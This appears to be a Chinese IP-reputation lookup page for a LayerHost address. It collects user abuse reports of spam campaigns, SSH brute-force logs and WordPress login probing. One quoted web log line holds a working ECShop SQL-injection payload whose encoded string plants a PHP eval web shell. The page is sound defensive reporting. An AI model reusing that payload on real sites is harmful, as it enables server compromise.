必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): unknown

省份(region): unknown

国家(country): United States of America

运营商(isp): Global Frag Networks

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): Data Center/Web Hosting/Transit

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
IP 类型 评论内容 时间
104.148.18.18 spamattack
PHISHING AND SPAM ATTACK
GROUP USES LayerHost, IP SERVER LLC, Root Networks LLC, Serverion BV, XSServer GmbH, Xervers, Colocrossing
104.148.18.12	Uniswap Select - ivy-lavoi@outreachapps.club, New underground DeFi crypto - Want to get paid for holding crypto?, 7 Jul 2021 
inetnum:        2.58.148.0 - 2.58.149.255	org-name:       Serverion BV
inetnum:        5.252.192.0 - 5.252.195.255	org-name:       IP SERVER LLC
NetRange:       23.247.0.0 - 23.247.127.255	OrgName:        LayerHost
NetRange:       31.210.22.0 - 31.210.23.255	org-name:       Serverion BV
NetRange:       103.73.156.0 - 103.73.156.255	OrgName:        LayerHost
NetRange:       104.148.0.0 - 104.148.127.255	OrgName:        LayerHost
NetRange:       104.223.128.0 - 104.223.255.255 OrgName:        LayerHost
NetRange:       107.179.0.0 - 107.179.127.255	OrgName:        LayerHost
NetRange:       134.73.0.0 - 134.73.255.255	CustName:       Root Networks LLC
NetRange:       157.52.128.0 - 157.52.255.255	OrgName:        LayerHost
NetRange:       185.239.242.0 - 185.239.242.255	org-name:       Serverion BV
inetnum:        194.59.216.0 - 194.59.217.255	org-name:       Serverion BV
inetnum:        195.62.32.0 - 195.62.33.255	org-name:       XSServer GmbH
inetnum:        195.133.12.0 - 195.133.15.255   netname:        Xervers
inetnum:        195.133.39.0 - 195.133.39.255	org-name:       Serverion BV
NetRange:       198.12.64.0 - 198.12.127.255	OrgName:        ColoCrossing
Some similar emails from same group
5.252.194.15  	Plansforsheds - EasyShedPlans@ultraboostz.co, Discover The Easiest Way To Build Beautiful Sheds..., 15 Jun 2021 
31.210.22.9    	Fat belly - info@bloodpressure.buzz,  Japanese “Fix” for Belly Fat?, 17 Jun 2021
31.210.22.106  	On Hold - OnHold@ecobuds.us, Your FREE Red Laser Targeting System, 21 Jun 2021
2021-07-08 06:07:44
104.148.18.18 spamattack
PHISHING AND SPAM ATTACK
GROUP USES LayerHost, IP SERVER LLC, Root Networks LLC, Serverion BV, XSServer GmbH, Xervers, Colocrossing
104.148.18.18	Bitcoin Select arianna.lavoi@boschbuy.club, Dividends Paid Every 60 Minutes - New underground DeFi crypto, 05 Jul 2021
2.58.148.71	Save on the Cost of Gas - Effuel@shofybox.us, This Simple Device Saves You 25% on Your Car's Fuel Consumption, Wed, 7 Jul 
inetnum:        2.58.148.0 - 2.58.149.255	org-name:       Serverion BV
inetnum:        5.252.192.0 - 5.252.195.255	org-name:       IP SERVER LLC
NetRange:       23.247.0.0 - 23.247.127.255	OrgName:        LayerHost
NetRange:       31.210.22.0 - 31.210.23.255	org-name:       Serverion BV
NetRange:       103.73.156.0 - 103.73.156.255	OrgName:        LayerHost
NetRange:       104.148.0.0 - 104.148.127.255	OrgName:        LayerHost
NetRange:       104.223.128.0 - 104.223.255.255 OrgName:        LayerHost
NetRange:       107.179.0.0 - 107.179.127.255	OrgName:        LayerHost
NetRange:       134.73.0.0 - 134.73.255.255	CustName:       Root Networks LLC
NetRange:       157.52.128.0 - 157.52.255.255	OrgName:        LayerHost
NetRange:       185.239.242.0 - 185.239.242.255	org-name:       Serverion BV
inetnum:        194.59.216.0 - 194.59.217.255	org-name:       Serverion BV
inetnum:        195.62.32.0 - 195.62.33.255	org-name:       XSServer GmbH
inetnum:        195.133.12.0 - 195.133.15.255   netname:        Xervers
inetnum:        195.133.39.0 - 195.133.39.255	org-name:       Serverion BV
NetRange:       198.12.64.0 - 198.12.127.255	OrgName:        ColoCrossing
Some similar emails from same group
5.252.194.15  	Plansforsheds - EasyShedPlans@ultraboostz.co, Discover The Easiest Way To Build Beautiful Sheds..., 15 Jun 2021 
31.210.22.9    	Fat belly - info@bloodpressure.buzz,  Japanese “Fix” for Belly Fat?, 17 Jun 2021
31.210.22.106  	On Hold - OnHold@ecobuds.us, Your FREE Red Laser Targeting System, 21 Jun 2021
2021-07-08 06:03:02
104.148.12.219 spam
Borg202@889205.com
2020-09-28 16:06:42
104.148.125.224 attack
Invalid user martin from 104.148.125.224 port 59452
2020-09-25 00:39:30
104.148.125.224 attackbotsspam
Invalid user martin from 104.148.125.224 port 59452
2020-09-24 16:18:37
104.148.125.224 attackspambots
2020-09-23T22:02:17+0200 Failed SSH Authentication/Brute Force Attack.(Server 2)
2020-09-24 07:44:20
104.148.111.137 attackbots
Spam
2020-07-08 07:54:39
104.148.126.239 attackbotsspam
email spam
2019-12-19 21:33:23
104.148.105.5 attackspambots
$f2bV_matches
2019-11-21 03:09:12
104.148.105.84 attack
Nov 20 15:38:34 mxgate1 postfix/postscreen[8842]: CONNECT from [104.148.105.84]:52518 to [176.31.12.44]:25
Nov 20 15:38:34 mxgate1 postfix/dnsblog[8845]: addr 104.148.105.84 listed by domain zen.spamhaus.org as 127.0.0.3
Nov 20 15:38:34 mxgate1 postfix/dnsblog[8843]: addr 104.148.105.84 listed by domain b.barracudacentral.org as 127.0.0.2
Nov 20 15:38:40 mxgate1 postfix/postscreen[8842]: DNSBL rank 3 for [104.148.105.84]:52518
Nov x@x
Nov 20 15:38:41 mxgate1 postfix/postscreen[8842]: DISCONNECT [104.148.105.84]:52518


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=104.148.105.84
2019-11-21 01:58:02
104.148.119.2 attackspam
Autoban   104.148.119.2 AUTH/CONNECT
2019-11-18 17:29:32
104.148.105.5 attackbotsspam
SQL injection attempts.
2019-11-18 13:28:12
104.148.105.5 attack
Web app attack & sql injection attempts.
Date: 2019 Nov 17. 18:11:58
Source IP: 104.148.105.5

Portion of the log(s):
104.148.105.5 - [17/Nov/2019:18:11:57 +0100] "POST /ysyqq.php HTTP/1.1" 404 548 "http://[removed].hu/ysyqq.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)"
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login HTTP/1.1" 404 548 "45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\x22num\x22;s:297:\x22*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A336C7A655846784C6E426F634363734A7A772F63476877494756325957776F4A46395154314E5557336C7A655630704F79412F506963702729293B2F2F7D787878,10-- -\x22;s:2:\x22id\x22;s:11:\x22-1' UNION/*\x22;}45ea207d7a2b68c49582d2d22adf953a"
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fqopr.php
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] POST /fdgq.php
104.148.105.5 - [17/Nov/2019:18:11:56 +0100] GET /user.php?act=login ....
2019-11-18 05:01:17
104.148.105.98 attackspam
SASL Brute Force
2019-11-15 21:03:28
104.148.105.5 attackbotsspam
php POST attempts
2019-11-15 15:28:35
WHOIS信息:
b
DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 104.148.1.173
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 16651
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;104.148.1.173.			IN	A

;; AUTHORITY SECTION:
.			460	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2020032001 1800 900 604800 86400

;; Query time: 106 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sat Mar 21 04:35:38 CST 2020
;; MSG SIZE  rcvd: 117
HOST信息:
173.1.148.104.in-addr.arpa domain name pointer mx1.shadowh.com.
NSLOOKUP信息:
Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
173.1.148.104.in-addr.arpa	name = mx1.shadowh.com.

Authoritative answers can be found from:
相关IP信息:
最新评论:
IP 类型 评论内容 时间
213.131.45.75 attackspambots
Unauthorised access (Oct  8) SRC=213.131.45.75 LEN=44 TOS=0x10 PREC=0x40 TTL=242 ID=44433 TCP DPT=445 WINDOW=1024 SYN 
Unauthorised access (Oct  5) SRC=213.131.45.75 LEN=44 TOS=0x10 PREC=0x40 TTL=242 ID=15302 TCP DPT=1433 WINDOW=1024 SYN
2020-10-09 14:28:07
58.229.114.170 attack
2020-10-09T08:26:50.669429lavrinenko.info sshd[5913]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.229.114.170  user=root
2020-10-09T08:26:52.108178lavrinenko.info sshd[5913]: Failed password for root from 58.229.114.170 port 49702 ssh2
2020-10-09T08:27:25.871128lavrinenko.info sshd[5922]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=58.229.114.170  user=root
2020-10-09T08:27:27.781554lavrinenko.info sshd[5922]: Failed password for root from 58.229.114.170 port 55228 ssh2
2020-10-09T08:27:53.253998lavrinenko.info sshd[5944]: Invalid user sales1 from 58.229.114.170 port 60754
...
2020-10-09 14:16:14
47.149.93.97 attackspambots
Oct  9 16:40:13 web1 sshd[10752]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=47.149.93.97  user=root
Oct  9 16:40:15 web1 sshd[10752]: Failed password for root from 47.149.93.97 port 41048 ssh2
Oct  9 16:54:21 web1 sshd[15386]: Invalid user www-data from 47.149.93.97 port 39692
Oct  9 16:54:21 web1 sshd[15386]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=47.149.93.97
Oct  9 16:54:21 web1 sshd[15386]: Invalid user www-data from 47.149.93.97 port 39692
Oct  9 16:54:23 web1 sshd[15386]: Failed password for invalid user www-data from 47.149.93.97 port 39692 ssh2
Oct  9 16:58:13 web1 sshd[16732]: Invalid user nagios3 from 47.149.93.97 port 45026
Oct  9 16:58:13 web1 sshd[16732]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=47.149.93.97
Oct  9 16:58:13 web1 sshd[16732]: Invalid user nagios3 from 47.149.93.97 port 45026
Oct  9 16:58:14 web1 sshd[16732]: Failed pa
...
2020-10-09 14:06:30
112.85.42.121 attackspambots
2020-10-09T00:57:57.144519yoshi.linuxbox.ninja sshd[3872777]: Failed password for root from 112.85.42.121 port 24250 ssh2
2020-10-09T00:58:00.203129yoshi.linuxbox.ninja sshd[3872777]: Failed password for root from 112.85.42.121 port 24250 ssh2
2020-10-09T00:58:03.893788yoshi.linuxbox.ninja sshd[3872777]: Failed password for root from 112.85.42.121 port 24250 ssh2
...
2020-10-09 14:05:54
202.147.192.242 attack
Oct  9 11:46:03 dhoomketu sshd[3687690]: Failed password for invalid user helpdesk from 202.147.192.242 port 44616 ssh2
Oct  9 11:52:02 dhoomketu sshd[3687810]: Invalid user teste from 202.147.192.242 port 52696
Oct  9 11:52:02 dhoomketu sshd[3687810]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.147.192.242 
Oct  9 11:52:02 dhoomketu sshd[3687810]: Invalid user teste from 202.147.192.242 port 52696
Oct  9 11:52:04 dhoomketu sshd[3687810]: Failed password for invalid user teste from 202.147.192.242 port 52696 ssh2
...
2020-10-09 14:31:20
27.71.228.25 attackbotsspam
Oct  6 19:09:27 estefan sshd[694]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.71.228.25  user=r.r
Oct  6 19:09:29 estefan sshd[694]: Failed password for r.r from 27.71.228.25 port 22055 ssh2
Oct  6 19:09:29 estefan sshd[695]: Received disconnect from 27.71.228.25: 11: Bye Bye
Oct  6 19:16:54 estefan sshd[770]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.71.228.25  user=r.r
Oct  6 19:16:56 estefan sshd[770]: Failed password for r.r from 27.71.228.25 port 48230 ssh2
Oct  6 19:16:56 estefan sshd[771]: Received disconnect from 27.71.228.25: 11: Bye Bye
Oct  6 19:19:44 estefan sshd[776]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=27.71.228.25  user=r.r
Oct  6 19:19:46 estefan sshd[776]: Failed password for r.r from 27.71.228.25 port 29763 ssh2
Oct  6 19:19:46 estefan sshd[777]: Received disconnect from 27.71.228.25: 11: Bye Bye
Oct  6 19........
-------------------------------
2020-10-09 14:20:18
180.76.180.9 attack
Lines containing failures of 180.76.180.9
Oct  6 18:21:16 shared06 sshd[21101]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.180.9  user=r.r
Oct  6 18:21:18 shared06 sshd[21101]: Failed password for r.r from 180.76.180.9 port 33624 ssh2
Oct  6 18:21:18 shared06 sshd[21101]: Received disconnect from 180.76.180.9 port 33624:11: Bye Bye [preauth]
Oct  6 18:21:18 shared06 sshd[21101]: Disconnected from authenticating user r.r 180.76.180.9 port 33624 [preauth]
Oct  6 18:29:43 shared06 sshd[23315]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=180.76.180.9  user=r.r
Oct  6 18:29:45 shared06 sshd[23315]: Failed password for r.r from 180.76.180.9 port 45378 ssh2
Oct  6 18:29:45 shared06 sshd[23315]: Received disconnect from 180.76.180.9 port 45378:11: Bye Bye [preauth]
Oct  6 18:29:45 shared06 sshd[23315]: Disconnected from authenticating user r.r 180.76.180.9 port 45378 [preauth]


........
-----------------------------------
2020-10-09 14:02:14
67.205.129.197 attackbotsspam
67.205.129.197 - - [09/Oct/2020:03:37:24 +0200] "GET /wp-login.php HTTP/1.1" 200 8796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
67.205.129.197 - - [09/Oct/2020:03:37:27 +0200] "POST /wp-login.php HTTP/1.1" 200 9047 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
67.205.129.197 - - [09/Oct/2020:03:37:28 +0200] "POST /xmlrpc.php HTTP/1.1" 200 427 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0"
2020-10-09 14:09:04
119.29.91.38 attackbots
SSH brute-force attempt
2020-10-09 14:11:50
173.212.244.135 attackbots
(PERMBLOCK) 173.212.244.135 (DE/Germany/digihyp.com) has had more than 4 temp blocks in the last 86400 secs; Ports: *; Direction: inout; Trigger: LF_PERMBLOCK_COUNT; Logs:
2020-10-09 14:24:07
123.149.213.185 attack
no
2020-10-09 14:19:44
182.76.74.78 attackspam
Oct  9 12:23:07 itv-usvr-01 sshd[12136]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.76.74.78  user=root
Oct  9 12:23:10 itv-usvr-01 sshd[12136]: Failed password for root from 182.76.74.78 port 35430 ssh2
Oct  9 12:29:12 itv-usvr-01 sshd[12356]: Invalid user tester from 182.76.74.78
Oct  9 12:29:12 itv-usvr-01 sshd[12356]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=182.76.74.78
Oct  9 12:29:12 itv-usvr-01 sshd[12356]: Invalid user tester from 182.76.74.78
Oct  9 12:29:14 itv-usvr-01 sshd[12356]: Failed password for invalid user tester from 182.76.74.78 port 23650 ssh2
2020-10-09 13:54:42
180.89.58.27 attack
Oct  9 11:38:06 NG-HHDC-SVS-001 sshd[1107]: Invalid user administrator from 180.89.58.27
...
2020-10-09 13:57:09
45.55.214.64 attack
sshd jail - ssh hack attempt
2020-10-09 14:21:28
166.111.68.25 attackspambots
Oct  9 06:15:33 ip-172-31-61-156 sshd[7484]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=166.111.68.25
Oct  9 06:15:33 ip-172-31-61-156 sshd[7484]: Invalid user kuat from 166.111.68.25
Oct  9 06:15:35 ip-172-31-61-156 sshd[7484]: Failed password for invalid user kuat from 166.111.68.25 port 54546 ssh2
Oct  9 06:16:20 ip-172-31-61-156 sshd[7526]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=166.111.68.25  user=root
Oct  9 06:16:22 ip-172-31-61-156 sshd[7526]: Failed password for root from 166.111.68.25 port 37204 ssh2
...
2020-10-09 14:29:25

最近上报的IP列表

126.113.133.67 110.218.207.54 186.155.22.87 160.154.145.114
2.138.248.165 69.19.170.168 72.223.58.146 101.204.137.43
73.201.150.13 122.156.161.111 100.170.144.1 5.107.24.52
99.119.3.118 46.114.34.3 125.106.194.241 101.205.159.119
104.250.186.114 103.205.180.57 189.18.255.9 58.172.83.23